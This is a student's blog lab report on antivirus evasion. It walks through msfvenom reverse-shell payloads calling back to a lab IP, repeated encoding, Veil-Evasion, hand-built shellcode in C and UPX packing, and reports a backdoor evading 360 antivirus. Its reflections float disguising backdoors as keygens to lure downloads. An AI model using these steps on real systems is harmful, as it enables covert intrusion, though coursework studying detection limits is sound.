jujukai

导航

20174307 周俊锴 实验三 免杀原理与实践

一、实验名称

    免杀原理与实践。

二、实验目的与要求

    ·理解杀软的工作原理,知道特征码检测、启发式检测和行为检测三种恶意软件检测机制,对于后两者要能够知道其侧重点并进行区分。

    ·学习免杀的原理,掌握常用的免杀手段,比如修改特征码、改变行为等,掌握恶意代码生成工具的使用。并通过实际运用各种免杀手段深化对免杀原理的认识。

    ·通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

    ·能够使用在线扫描平台检测所上传的软件是否为恶意软件,常用的检测平台有VirusTotal、Virscan等。

    ·进一步提高信息安全意识,更加注重对后门的检测和防范。

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

 正确使用msf编码器,生成exe文件    

  • 在实验二中已经生成的后门程序 4307_backdoor.exe ,使用 VirusTotal 这个网站进行扫描,扫描结果如下:

  • 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接着使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
  • 下面我们使用msf编码器对后门程序进行编码,并进行检测

    在Kali终端进入mfs控制台进行一次编码,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 43 -b '\x00' LHOST=192.168.181.129 LPORT=4307 -f exe >20174307_backdoor.进行了43次编码生成文件encoded1.exe

  • 去virustotal中进行扫描,结果如下:

  • 仍然没什么变化,所以多次迭代对于免杀并没有什么效果。

 msfvenom生成其他文件

(1)jar文件

终端输入命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.129 LPORT=4307 x> meter_backdoor_java.jar 生成文件

去virustotal中进行扫描,结果如下:

 

大部分的杀毒软件都能查杀出来。

(2)php文件

终端输入命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.129 LPORT=4307 x> meter_backdoor.php 生成php文件

去virustotal中进行扫描,结果如下:

 

使用veil-evasion生成后门程序及检测

(1)veil安装

安装apt-get install veil-evasion

输入命令vie

 输入use evasion进入veil-evasion

输入

use c/meterpreter/rev_tcp.py //进入配置

set LHOST 192.168.181.129 //kali的IP地址

set LPORT 4307 //端口号

generate //生成文件

然后输入文件名 4307

  检测结果:

使用C + shellcode编程

在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.129 LPORT=4304 -f c,得到一段shellcode编码。

新建一个shellcode_4304.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

 使用  i686-w64-mingw32-g++ shellcode_4307.c -o shellcode_4307.exe  命令将该c文件转为exe文件shellcode_4307.exe

检测结果:

加壳

(1)UPX

下载apt-get install upx

输入 upx shellcode_4307.exe -o 20174307_upxed.exe 给之前的文件加壳

 

检测结果:

 

 其他方法  

  • 采用Veil-Evasion的其他荷载生成后门方式
  • 进入evasion,使用list查看可用的有效荷载:
  • 选择第30个

  • 配置反弹连接的IP地址和端口号。

 

  •  输入generate生成文件。
  •  选择2

  • 检测生成的文件:

任务二:通过组合应用各种技术实现恶意代码免杀。

  • 将上面Veil-Evasion另一种载荷生成文件
  • 对文件加壳。
  • 检测加壳后文件

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

 kali端:

另一台电脑:我用的是另外一个虚拟机是windows7系统,杀毒软件是360 12:

成功实现用另一电脑实测,在杀软开启的情况下,可运行并回连成功。

基础问题回答

1.杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
  • 基于行为的恶意软件检测:针对程序的行为检测。

2.免杀是做什么?

        对后门程序进行伪装,保证后门程序不被杀毒软件检测和查杀。

3.免杀的基本方法有哪些?  

  • 采用不同的编码方式,或者编码次数。
  • 对编码后生成的文件进行加壳,加压缩壳或者是加密壳。
  • 还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤。

4.开启杀软能绝对防止电脑中恶意代码吗?

    不能。杀软在不断进化和发展,恶意代码也在做同样的事,要用运动、变化和发展的辨证眼光来看待问题,不能因为开了杀软就掉以轻心,对后门的警惕性要时刻保持!

实验心得

  • 虽然达到了不被发现的目的,但是离实际应用还是差很大距离的,就比如,现在这个层次的应用只能是在同一个WLAN下,如果想要攻击别人,得租一个服务器,这样可以应用范围更广;其次还要设计的让人愿意下载,运用社会工程学方法诱导别人下载使用,比如伪装成序列号生成器、破译软件等广大用户需要的软件,等等;总之,离实际应用还有很长的一段路要走…
  • 免杀的实验做的还是很有趣的,有一种在暗夜里潜行,生怕被人发现的那种刺激感;通过这次实验,做好免杀还是要有一定的编程技巧的,如果完全依赖于Meterpreter、加壳工具等一些软件服务,免杀效果是不明显的,因为你知道这些可以做免杀可以加壳,难道人家杀软不知道没有分析过?所以网络上流行的这些软件,实际上免杀效果并不好。
  • 免杀最好的效果就是纯手工,纯人为构造,杀软可以分析免杀软件生成的模式进而发现其隐藏的规律,而人为构造的恶意代码往往因为不具有普遍性而难以捉摸;但免杀的尝试不是一蹴而就的,就像这次的实践,是在不断的修改代码过程中,从开始21家报毒,到后来1家报毒,逐渐达到了免杀的级别,这个过程需要不断的尝试;
  • 杀毒与免杀就是矛与盾,是一种博弈关系,是一种此消彼长的竞争关系,只要互联网还存在,杀毒与免杀就是互联网安全永恒的主题;杀毒软件的薄弱在本次实践中可见一斑,所以以后在网络中要“洁身自好”,不该点击的链接别点,来历不明的第三方软件别下,定时更新病毒库、查毒、杀毒;
  • 这一种博弈关系非常微妙,就像本文提到的,本来VirSCAN.org的目的可能是帮助检查是否为病毒文件,但可能被“我们”这样的人恶意利用,用来检测自己的病毒是否免杀;又比如,加壳软件的初衷可能是版权问题,防止他人恶意反汇编、逆向,但这又能被“我们”利用,让“壳”变成病毒的保护壳,正所谓,工具本无好坏,人心才有善恶!

posted on 2020-04-03 18:27  jujukai  阅读(224)  评论(0编辑  收藏  举报